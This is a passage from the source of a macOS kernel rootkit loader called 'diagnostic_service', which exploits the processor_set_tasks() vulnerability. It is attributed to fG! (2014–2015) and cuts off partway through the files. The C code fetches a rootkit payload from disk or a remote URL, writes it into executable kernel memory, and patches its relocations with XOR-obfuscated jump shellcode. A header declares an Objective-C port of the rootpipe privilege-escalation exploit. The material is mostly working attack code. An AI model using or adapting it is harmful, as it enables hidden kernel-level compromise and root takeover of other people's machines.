struct kernel_info *kinfo, mach_vm_address_t *rootkit_addr, mach_vm_address_t *rootkit_entrypoint) 96 | { 97 | OUTPUT_MSG("\n-----[ Installing rootkit into kernel memory ]-----"); 98 | 99 | if (!MACH_PORT_VALID(kernel_port) || filename == NULL) 100 | { 101 | ERROR_MSG("Invalid arguments."); 102 | return KERN_FAILURE; 103 | } 104 | 105 | int fd = -1; 106 | uint8_t *rootkit_buffer = NULL; 107 | size_t mapped_size = 0; 108 | int file_mapped = 0; 109 | 110 | if (strncmp(filename, "http://", 7) == 0 || 111 | strncmp(filename, "https://", 8) == 0) 112 | { 113 | if (download_remote_rootkit(&rootkit_buffer, filename) != 0) 114 | { 115 | ERROR_MSG("Failed to retrieve remote rootkit payload."); 116 | return KERN_FAILURE; 117 | } 118 | } 119 | else 120 | { 121 | OUTPUT_MSG("\n-----[ Retrieving rootkit payload from local file... ]-----"); 122 | if (map_local_rootkit(filename, &rootkit_buffer, &mapped_size) != KERN_SUCCESS) 123 | { 124 | ERROR_MSG("Failed to map local rootkit payload."); 125 | return KERN_FAILURE; 126 | } 127 | file_mapped = 1; 128 | } 129 | 130 | /* allocate kernel memory */ 131 | kern_return_t kr = 0; 132 | mach_vm_address_t alloc_addr = 0; 133 | mach_vm_address_t entrypoint = 0; 134 | /* we need to find the total size of the rootkit in memory 135 | * and not the size on disk because of aligment 136 | */ 137 | uint32_t rootkit_size = get_rootkit_mem_size(rootkit_buffer); 138 | if (rootkit_size == 0) 139 | { 140 | ERROR_MSG("Failed to retrieve rootkit memory size"); 141 | goto failure; 142 | } 143 | 144 | kr = alloc_exec_kmem(kernel_port, (uint64_t)rootkit_size, &alloc_addr); 145 | if (kr != KERN_SUCCESS) 146 | { 147 | ERROR_MSG("Failed to allocate space for rootkit: %x.", kr); 148 | goto failure; 149 | } 150 | DEBUG_MSG("Allocated %d bytes for rootkit at kernel address 0x%llx", rootkit_size, alloc_addr); 151 | 152 | /* two steps: 153 | * 1 - copy rootkit to kernel memory 154 | * 2 - fix relocations so external symbols point to the correct places 155 | * Note: these steps can be swapped since we can fix the relocations in userland before 156 | * uploading to the kernel memory - process_rootkit_relocations() needs to be 157 | * modified to support that case 158 | */ 159 | 160 | /* now copy rootkit to kernel memory */ 161 | /* memory protections and wired status set inside */ 162 | if (copy_rootkit_to_kmem(kernel_port, alloc_addr, rootkit_buffer) != 0) 163 | { 164 | ERROR_MSG("Failed to copy rootkit to kernel memory."); 165 | goto failure; 166 | } 167 | 168 | /* we need to fix relocations else we wil have ugly crashes */ 169 | if (process_rootkit_relocations(kernel_port, rootkit_buffer, kinfo, alloc_addr) != KERN_SUCCESS) 170 | { 171 | ERROR_MSG("Failed to fix rootkit relocations!"); 172 | goto failure; 173 | } 174 | /* find the entrypoint to add to TrustedBSD policy */ 175 | entrypoint = find_rootkit_entrypoint(rootkit_buffer); 176 | if (entrypoint == 0) 177 | { 178 | ERROR_MSG("Failed to find rootkit entrypoint!"); 179 | goto failure; 180 | } 181 | DEBUG_MSG("Rootkit entrypoint is 0x%llx", entrypoint); 182 | 183 | end: 184 | /* cleanup */ 185 | close(fd); 186 | if (file_mapped) 187 | { 188 | unmap_local_rootkit(rootkit_buffer, mapped_size); 189 | } 190 | /* set out parameters */ 191 | *rootkit_addr = alloc_addr; 192 | *rootkit_entrypoint = entrypoint; 193 | return KERN_SUCCESS; 194 | 195 | failure: 196 | close(fd); 197 | if (file_mapped) 198 | { 199 | unmap_local_rootkit(rootkit_buffer, mapped_size); 200 | } 201 | return KERN_FAILURE; 202 | } 203 | 204 | #pragma mark - 205 | #pragma mark Local functions 206 | 207 | static kern_return_t 208 | map_local_rootkit(const char *filename, uint8_t **buffer, size_t *size) 209 | { 210 | int fd = -1; 211 | 212 | fd = open(filename, O_RDONLY); 213 | if (fd < 0) 214 | { 215 | ERROR_MSG("Failed to open rootkit file: %s.", strerror(errno)); 216 | return KERN_FAILURE; 217 | } 218 | 219 | struct stat statbuf = {0}; 220 | if ( fstat(fd, &statbuf) < 0 ) 221 | { 222 | ERROR_MSG("Can't fstat file: %s", strerror(errno)); 223 | close(fd); 224 | return KERN_FAILURE; 225 | } 226 | 227 | if ( (*buffer = mmap(0, statbuf.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) 228 | { 229 | ERROR_MSG("Mmap failed on file: %s", strerror(errno)); 230 | close(fd); 231 | return KERN_FAILURE; 232 | } 233 | return KERN_SUCCESS; 234 | } 235 | 236 | static kern_return_t 237 | unmap_local_rootkit(uint8_t *buffer, size_t size) 238 | { 239 | if (buffer) 240 | { 241 | munmap(buffer, size); 242 | } 243 | return KERN_SUCCESS; 244 | } 245 | 246 | static kern_return_t 247 | process_rootkit_relocations(mach_port_t kernel_port, uint8_t *buffer, struct kernel_info *kinfo, mach_vm_address_t rootkit_address) 248 | { 249 | OUTPUT_MSG("\n-----[ Processing rootkit relocations ]-----"); 250 | 251 | if (buffer == NULL || kinfo == NULL || !MACH_PORT_VALID(kernel_port)) 252 | { 253 | ERROR_MSG("Invalid arguments."); 254 | return KERN_FAILURE; 255 | } 256 | 257 | struct mach_header_64 *mh = (struct mach_header_64*)buffer; 258 | if (mh->magic != MH_MAGIC_64) 259 | { 260 | ERROR_MSG("Rootkit is not 64 bits or invalid file!"); 261 | return KERN_FAILURE; 262 | } 263 | 264 | if (mh->ncmds == 0 || mh->sizeofcmds == 0) 265 | { 266 | ERROR_MSG("Invalid number of commands or size."); 267 | return KERN_FAILURE; 268 | } 269 | 270 | /* process header to find location of necessary info */ 271 | struct load_command *lc = (struct load_command*)(buffer + sizeof(struct mach_header_64)); 272 | 273 | struct reloc_info rk_header_info = {0}; 274 | 275 | for (uint32_t i = 0; i < mh->ncmds; i++) 276 | { 277 | if (lc->cmd == LC_DYSYMTAB) 278 | { 279 | struct dysymtab_command *cmd = (struct dysymtab_command*)lc; 280 | rk_header_info.dysymtab = cmd; 281 | } 282 | else if (lc->cmd == LC_SYMTAB) 283 | { 284 | struct symtab_command *cmd = (struct symtab_command*)lc; 285 | rk_header_info.symtab = cmd; 286 | } 287 | lc = (struct load_command*)((char*)lc + lc->cmdsize); 288 | } 289 | 290 | /* make sure we have valid information */ 291 | if (rk_header_info.dysymtab == NULL || 292 | rk_header_info.symtab == NULL) 293 | { 294 | ERROR_MSG("No header info available."); 295 | return KERN_FAILURE; 296 | } 297 | 298 | /* now process external relocations table and fix the symbols in kernel memory */ 299 | /* nextrel is the number of external relocations we need to fix */ 300 | /* we only fix the relocations of type X86_64_RELOC_BRANCH */ 301 | /* they refer to "a CALL/JMP instruction with 32-bit displacement" */ 302 | /* check mach-o/x86_64/reloc.h */ 303 | DEBUG_MSG("Number of external relocation entries found in rootkit: %d", rk_header_info.dysymtab->nextrel); 304 | 305 | /* 306 | * NOTE: 307 | * in machines with lots of memory there's no guarantee that the offset from kernel 308 | * to the memory allocated for the rootkit will fit in a int32 309 | * if it doesn't we can't solve the relocations because the offset is only 32 bits 310 | * a solution is to allocate an intermediate island that then uses absolute addresses to jump to kernel symbol 311 | * the relocation entry instead of jumping to kernel symbol jumps to island and then to kernel symbol 312 | */ 313 | 314 | /* lame shellcode to jump to symbol address avoiding int32 offset issues */ 315 | /* uses a simple xor obfuscation to hide the target symbol */ 316 | /* XXX: can be vastly improved ;-) */ 317 | uint8_t shellcode[] = 318 | "\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00" // mov rax, 0x0 319 | "\x48\xBB\x00\x00\x00\x00\x00\x00\x00\x00" // mov rbx, key 320 | "\x48\x31\xD8" // xor rax, rbx 321 | "\xFF\xE0"; // jmp rax 322 | 323 | size_t shellcode_size = sizeof(shellcode) - 1; 324 | /* allocate an island where we write the shellcode for each symbol */ 325 | size_t island_size = mach_vm_round_page(shellcode_size * rk_header_info.dysymtab->nextrel); 326 | DEBUG_MSG("Island size is 0x%lx", island_size); 327 | /* NOTE: the rootkit should be aware of this value if we want to cleanup later inside the rootkit */ 328 | mach_vm_address_t island_addr = 0; 329 | if (alloc_exec_kmem(kernel_port, island_size, &island_addr) != KERN_SUCCESS) 330 | { 331 | ERROR_MSG("Failed to allocate island."); 332 | return KERN_FAILURE; 333 | } 334 | 335 | for (uint32_t i = 0; i < rk_header_info.dysymtab->nextrel; i++) 336 | { 337 | /* this structure contains the information for each relocation */ 338 | struct relocation_info *rel = (struct relocation_info*)(buffer + rk_header_info.dysymtab->extreloff + i * sizeof(struct relocation_info)); 339 | 340 | /* find the name of the current symbol in relocation table */ 341 | char *symbol = find_symbol_by_nr(buffer, &rk_header_info, rel->r_symbolnum); 342 | if (symbol == NULL) 343 | { 344 | continue; 345 | } 346 | // DEBUG_MSG("Symbol name: %s Original rootkit address:0x%x Extern:%x Length:%x PCRelative:%x Symbol nr:%d Type:%x", symbol, rel->r_address, rel->r_extern, rel->r_length, rel->r_pcrel, rel->r_symbolnum, rel->r_type); 347 | 348 | /* r_length: 0=byte, 1=word, 2=long, 3=quad */ 349 | mach_msg_type_number_t write_size = 1 << rel->r_length; 350 | /* find the symbol address in kernel */ 351 | /* this is the address we are going to fix to in the rootkit */ 352 | mach_vm_address_t sym_addr = solve_kernel_symbol(kinfo, symbol); 353 | DEBUG_MSG("Kernel symbol %s is located at 0x%llx", symbol, sym_addr); 354 | DEBUG_MSG("Relocation offset address 0x%llx of type %d", rootkit_address + rel->r_address, rel->r_type); 355 | 356 | /* the only two types that are used are X86_64_RELOC_BRANCH and X86_64_RELOC_UNSIGNED */ 357 | /* this info was gathered by processing all system kexts */ 358 | 359 | /* XXX: fix the cases where there is a 4 bytes addend */ 360 | /* doesn't seem to apply to kernel extensions? */ 361 | if (rel->r_type == X86_64_RELOC_BRANCH) 362 | { 363 | uint64_t base_address = rootkit_address + rel->r_address + write_size; 364 | /* the offset from the rootkit relocation entry to the current position in the island */ 365 | int64_t offset2 = (int64_t)(island_addr - base_address); 366 | 367 | if (offset2 > INT32_MAX || 368 | offset2 < INT32_MIN) 369 | { 370 | DEBUG_MSG("Offset is %llx", offset2); 371 | ERROR_MSG("Offset to island for symbol %s doesn't fit in signed integer!", symbol); 372 | zero_and_dealloc_kmem(kernel_port, island_addr, (uint32_t)island_size); 373 | return KERN_FAILURE; 374 | } 375 | int32_t offset = (int32_t)offset2; 376 | 377 | /* r_address points to the offset portion of the CALL instruction so it's always 1 byte ahead of the start of instruction address */ 378 | /* this fixes the relocation offset into the rootkit instruction */ 379 | /* in this case it points to an entry in the island */ 380 | kern_return_t kr = mach_vm_write(kernel_port, (mach_vm_address_t)(rootkit_address + rel->r_address), (vm_offset_t)&offset, write_size); 381 | if (kr != KERN_SUCCESS) 382 | { 383 | ERROR_MSG("Failed to write new X86_64_RELOC_BRANCH relocation for symbol %s", symbol); 384 | zero_and_dealloc_kmem(kernel_port, island_addr, (uint32_t)island_size); 385 | return KERN_FAILURE; 386 | } 387 | /* generate a 64 bits xor key for each relocation entry */ 388 | uint64_t xor_key = (uint64_t)(arc4random() % ((unsigned)RAND_MAX + 1)) << 32 | (arc4random() % ((unsigned)RAND_MAX + 1)); 389 | /* obfuscate the symbol address */ 390 | mach_vm_address_t xored_sym_addr = sym_addr ^ xor_key; 391 | /* fix the shellcode, first with the obfuscated symbol address, next with the key */ 392 | memcpy(shellcode + 2, &xored_sym_addr, sizeof(uint64_t)); 393 | memcpy(shellcode + 12, &xor_key, sizeof(uint64_t)); 394 | /* finally write the shellcode to the island */ 395 | kr = mach_vm_write(kernel_port, (mach_vm_address_t)island_addr, (vm_offset_t)shellcode, (mach_msg_type_number_t)shellcode_size); 396 | if (kr != KERN_SUCCESS) 397 | { 398 | ERROR_MSG("Failed to write new X86_64_RELOC_BRANCH relocation for symbol %s", symbol); 399 | zero_and_dealloc_kmem(kernel_port, island_addr, (uint32_t)island_size); 400 | return KERN_FAILURE; 401 | } 402 | /* advance to next position in the island */ 403 | island_addr += shellcode_size; 404 | #if 0 405 | /* check if write was successful */ 406 | uint32_t result = 0; 407 | readkmem(kernel_port, &result, rootkit_address + rel->r_address - 1, sizeof(result)); 408 | DEBUG_MSG("content %x", result); 409 | #endif 410 | } 411 | /* these are absolute addresses so we just need to write the new address */ 412 | else if (rel->r_type == X86_64_RELOC_UNSIGNED) 413 | { 414 | kern_return_t kr = mach_vm_write(kernel_port, (mach_vm_address_t)(rootkit_address + rel->r_address), (vm_offset_t)&sym_addr, write_size); 415 | if (kr != KERN_SUCCESS) 416 | { 417 | ERROR_MSG("Failed to write new X86_64_RELOC_UNSIGNED relocation for symbol %s", symbol); 418 | zero_and_dealloc_kmem(kernel_port, island_addr, (uint32_t)island_size); 419 | return KERN_FAILURE; 420 | } 421 | } 422 | } 423 | 424 | /* we also need to fix local relocations, used for strings and some other symbols */ 425 | DEBUG_MSG("Number of local relocation entries found in rootkit: %d", rk_header_info.dysymtab->nlocrel); 426 | /* process local relocations */ 427 | /* these are easier because they are all of type X86_64_RELOC_UNSIGNED aka absolute */ 428 | /* we don't even care about what symbols they belong to */ 429 | for (uint32_t i = 0; i < rk_header_info.dysymtab->nlocrel; i++) 430 | { 431 | /* this structure contains the information for each relocation */ 432 | struct relocation_info *rel = (struct relocation_info*)(buffer + rk_header_info.dysymtab->locreloff + i * sizeof(struct relocation_info)); 433 | /* guarantee we just process these */ 434 | if (rel->r_extern == 0 && rel->r_pcrel == 0 && rel->r_type == X86_64_RELOC_UNSIGNED) 435 | { 436 | /* we need to read the original value and rebase it with rootkit load address */ 437 | mach_vm_address_t target_addr = rootkit_address + *(mach_vm_address_t*)(buffer + rel->r_address); 438 | // DEBUG_MSG("Fixing local relocation #%d to address 0x%llx", i, target_addr); 439 | /* and then rewrite the value to the fixed absolute address */ 440 | kern_return_t kr = mach_vm_write(kernel_port, (mach_vm_address_t)(rootkit_address + rel->r_address), (vm_offset_t)&target_addr, sizeof(target_addr)); 441 | if (kr != KERN_SUCCESS) 442 | { 443 | ERROR_MSG("Failed to write new X86_64_RELOC_UNSIGNED local relocation #%d", i); 444 | zero_and_dealloc_kmem(kernel_port, island_addr, (uint32_t)island_size); 445 | return KERN_FAILURE; 446 | } 447 | } 448 | } 449 | 450 | return KERN_SUCCESS; 451 | } 452 | 453 | /* find the rootkit entrypoint address which is start() that then loads up the real_main address 454 | * which is the one we define as _start in the source code 455 | */ 456 | static mach_vm_address_t 457 | find_rootkit_entrypoint(uint8_t *buffer) 458 | { 459 | OUTPUT_MSG("\n-----[ Locating rootkit entrypoint ]-----"); 460 | 461 | if (buffer == NULL) 462 | { 463 | ERROR_MSG("Invalid arguments."); 464 | return 0; 465 | } 466 | 467 | struct mach_header_64 *mh = (struct mach_header_64*)buffer; 468 | if (mh->magic != MH_MAGIC_64) 469 | { 470 | ERROR_MSG("Rootkit is not 64 bits or invalid file!"); 471 | return 0; 472 | } 473 | 474 | if (mh->ncmds == 0 || mh->sizeofcmds == 0) 475 | { 476 | ERROR_MSG("Invalid number of commands or size."); 477 | return 0; 478 | } 479 | 480 | /* process header to find location of necessary info */ 481 | struct load_command *lc = (struct load_command*)(buffer + sizeof(struct mach_header_64)); 482 | 483 | struct symtab_command *symtab = NULL; 484 | 485 | for (uint32_t i = 0; i < mh->ncmds; i++) 486 | { 487 | /* we just need this for symbol information */ 488 | if (lc->cmd == LC_SYMTAB) 489 | { 490 | struct symtab_command *cmd = (struct symtab_command*)lc; 491 | symtab = cmd; 492 | break; 493 | } 494 | lc = (struct load_command*)((char*)lc + lc->cmdsize); 495 | } 496 | 497 | if (symtab == NULL) 498 | { 499 | ERROR_MSG("No symbol information available!"); 500 | return 0; 501 | } 502 | 503 | mach_vm_address_t entrypoint = 0; 504 | struct nlist_64 *nlist = NULL; 505 | for (uint32_t i = 0; i < symtab->nsyms; i++) 506 | { 507 | nlist = (struct nlist_64*)(buffer + symtab->symoff + i * sizeof(struct nlist_64)); 508 | char *symbol_string = (char*)(buffer + symtab->stroff + nlist->n_un.n_strx); 509 | if ( (strcmp(symbol_string, "_kmod_info") == 0) && (nlist->n_value != 0) ) 510 | { 511 | DEBUG_MSG("Found kmod_info at 0x%llx", nlist->n_value); 512 | /* includes say to use the compatibility structure */ 513 | kmod_info_64_v1_t *kmod = (kmod_info_64_v1_t*)((char*)buffer + nlist->n_value); 514 | DEBUG_MSG("Kernel extension start function address: 0x%llx", (mach_vm_address_t)kmod->start_addr); 515 | entrypoint = (mach_vm_address_t)kmod->start_addr; 516 | break; 517 | } 518 | } 519 | 520 | return entrypoint; 521 | } 522 | 523 | /* return the symbol string correspondent to the symbol number 524 | * this is because relocations refers to the symbol number so we need to lookup the corresponding string 525 | */ 526 | static char * 527 | find_symbol_by_nr(uint8_t *buffer, struct reloc_info *ri, int sym_number) 528 | { 529 | if (buffer == NULL || ri == NULL) 530 | { 531 | ERROR_MSG("Invalid arguments."); 532 | return NULL; 533 | } 534 | /* make sure the request isn't out of bounds */ 535 | if (sym_number > ri->symtab->nsyms) 536 | { 537 | ERROR_MSG("Out of bounds symbol number!"); 538 | return NULL; 539 | } 540 | 541 | struct nlist_64 *nlist = NULL; 542 | nlist = (struct nlist_64*)((char*)buffer + ri->symtab->symoff + sym_number * sizeof(struct nlist_64)); 543 | char *symbol_string = (char*)((char*)buffer + ri->symtab->stroff + nlist->n_un.n_strx); 544 | 545 | return symbol_string; 546 | } 547 | 548 | static uint32_t 549 | get_rootkit_mem_size(const uint8_t *buffer) 550 | { 551 | if (buffer == NULL) 552 | { 553 | ERROR_MSG("Invalid arguments."); 554 | return 0; 555 | } 556 | 557 | uint32_t rootkit_size = 0; 558 | 559 | struct mach_header_64 *mh = (struct mach_header_64*)buffer; 560 | if (mh->magic != MH_MAGIC_64) 561 | { 562 | ERROR_MSG("Rootkit is not 64 bits or invalid file!"); 563 | return 0; 564 | } 565 | 566 | if (mh->ncmds == 0 || mh->sizeofcmds == 0) 567 | { 568 | ERROR_MSG("Invalid number of commands or size."); 569 | return 0; 570 | } 571 | 572 | /* process header to compute necessary rootkit size in memory */ 573 | struct load_command *lc = (struct load_command*)(buffer + sizeof(struct mach_header_64)); 574 | int nr_seg_cmds = 0; 575 | 576 | for (uint32_t i = 0; i < mh->ncmds; i++) 577 | { 578 | if (lc->cmd == LC_SEGMENT_64) 579 | { 580 | struct segment_command_64 *sc = (struct segment_command_64*)lc; 581 | rootkit_size += sc->vmsize; 582 | nr_seg_cmds++; 583 | } 584 | lc = (struct load_command*)((char*)lc + lc->cmdsize); 585 | } 586 | 587 | DEBUG_MSG("Processed %d segment commands", nr_seg_cmds); 588 | return rootkit_size; 589 | } 590 | 591 | static int 592 | copy_rootkit_to_kmem(mach_port_t kernel_port, mach_vm_address_t rootkit_addr, const uint8_t *buffer) 593 | { 594 | if (!MACH_PORT_VALID(kernel_port) || rootkit_addr == 0 || buffer == NULL) 595 | { 596 | ERROR_MSG("Invalid arguments."); 597 | return -1; 598 | } 599 | 600 | kern_return_t kr = 0; 601 | 602 | struct mach_header_64 *mh = (struct mach_header_64*)buffer; 603 | if (mh->magic != MH_MAGIC_64) 604 | { 605 | ERROR_MSG("Rootkit is not 64 bits or invalid file!"); 606 | return 0; 607 | } 608 | 609 | /* process header to compute necessary rootkit size in memory */ 610 | struct load_command *lc = (struct load_command*)(buffer + sizeof(struct mach_header_64)); 611 | 612 | if (mh->ncmds == 0 || mh->sizeofcmds == 0) 613 | { 614 | ERROR_MSG("Invalid number of commands or size."); 615 | return -1; 616 | } 617 | 618 | for (uint32_t i = 0; i < mh->ncmds; i++) 619 | { 620 | /* the segment commands are the ones mapped into memory - symbol data is inside __LINKEDIT */ 621 | if (lc->cmd == LC_SEGMENT_64) 622 | { 623 | struct segment_command_64 *sc = (struct segment_command_64*)lc; 624 | /* NOTE: we are creating a hole in allocated memory because we just copy the LC_SEGMENTs 625 | * and not the header for example 626 | */ 627 | mach_vm_address_t target_addr = rootkit_addr + sc->vmaddr; 628 | /* the buffer offset positions from the file offset where data is */ 629 | uint8_t *source_buffer = (uint8_t*)buffer + sc->fileoff; 630 | DEBUG_MSG("Target address 0x%llx siuze 0x%llx filesize: 0x%llx", target_addr, sc->vmsize, sc->filesize); 631 | /* write the data to kernel memory - size is from filesize since remainder is alignment data */ 632 | kr = mach_vm_write(kernel_port, target_addr, (vm_offset_t)source_buffer, (mach_msg_type_number_t)sc->filesize); 633 | if (kr != KERN_SUCCESS) 634 | { 635 | ERROR_MSG("Failed to copy rootkit segment %s. Error: %d.", sc->segname, kr); 636 | return -1; 637 | } 638 | /* NOTE: 639 | * this is not necessary anymore because the alloc_* auxiliary functions already set memory wired 640 | * just left here for historical/example purposes 641 | */ 642 | #if 0 643 | /* change memory protection of data we just wrote to kernel - size is from vmsize since we protect all allocated memory */ 644 | kr = mach_vm_protect(kernel_port, target_addr, (mach_vm_size_t)sc->vmsize, 0, VM_PROT_ALL); 645 | if (kr != KERN_SUCCESS) 646 | { 647 | DEBUG_MSG("Failed to change memory protection on rootkit segment %s. Error: %d", sc->segname, kr); 648 | return -1; 649 | } 650 | /* make this memory physically wired 651 | * without this we will most probably land into page faults nightmares because not everything will be paged in 652 | * we must first change memory protection above and then set the wire status 653 | */ 654 | kr = mach_vm_wire(mach_host_self(), kernel_port, target_addr, sc->vmsize, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); 655 | if (kr != KERN_SUCCESS) 656 | { 657 | ERROR_MSG("Failed to make memory wired on rootkit segment %s. Error %d", sc->segname, kr); 658 | return -1; 659 | } 660 | #endif 661 | } 662 | lc = (struct load_command*)((char*)lc + lc->cmdsize); 663 | } 664 | 665 | return 0; 666 | } 667 | -------------------------------------------------------------------------------- /diagnostic_service/rootkit.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * rootkit.h 25 | * Functions related to load and execute the rootkit into kernel memory 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #ifndef diagnostic_service_rootkit_h 52 | #define diagnostic_service_rootkit_h 53 | 54 | #include "structures.h" 55 | #include 56 | #include 57 | 58 | kern_return_t install_rootkit(mach_port_t kernel_port, const char *filename, struct kernel_info *kinfo, mach_vm_address_t *rootkit_addr, mach_vm_address_t *rootkit_entrypoint); 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /diagnostic_service/rootpipe_exploit.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * rootpipe_exploit.h 25 | * 26 | * This is Emil Kvarnhammar rootpipe exploit converted to Objective-C 27 | * (https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/) 28 | * 29 | * Don't blame my ugly hack, I hate Objective-C :X 30 | * 31 | * Redistribution and use in source and binary forms, with or without 32 | * modification, are permitted provided that the following conditions 33 | * are met: 34 | * 1. Redistributions of source code must retain the above copyright 35 | * notice, this list of conditions and the following disclaimer. 36 | * 2. Redistributions in binary form must reproduce the above copyright 37 | * notice, this list of conditions and the following disclaimer in the 38 | * documentation and/or other materials provided with the distribution. 39 | * 3. The name of the author may not be used to endorse or promote products 40 | * derived from this software without specific prior written permission. 41 | * 42 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 43 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 44 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 45 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 46 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 47 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 48 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 49 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 50 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 51 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 52 | * 53 | */ 54 | 55 | #ifndef __diagnostic_service__rootpipe_exploit__ 56 | #define __diagnostic_service__rootpipe_exploit__ 57 | 58 | #include 59 | 60 | int get_me_rootpipe(const char *sourceFile); 61 | 62 | #endif /* defined(__diagnostic_service__rootpipe_exploit__) */ 63 | -------------------------------------------------------------------------------- /diagnostic_service/rootpipe_exploit.m: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * 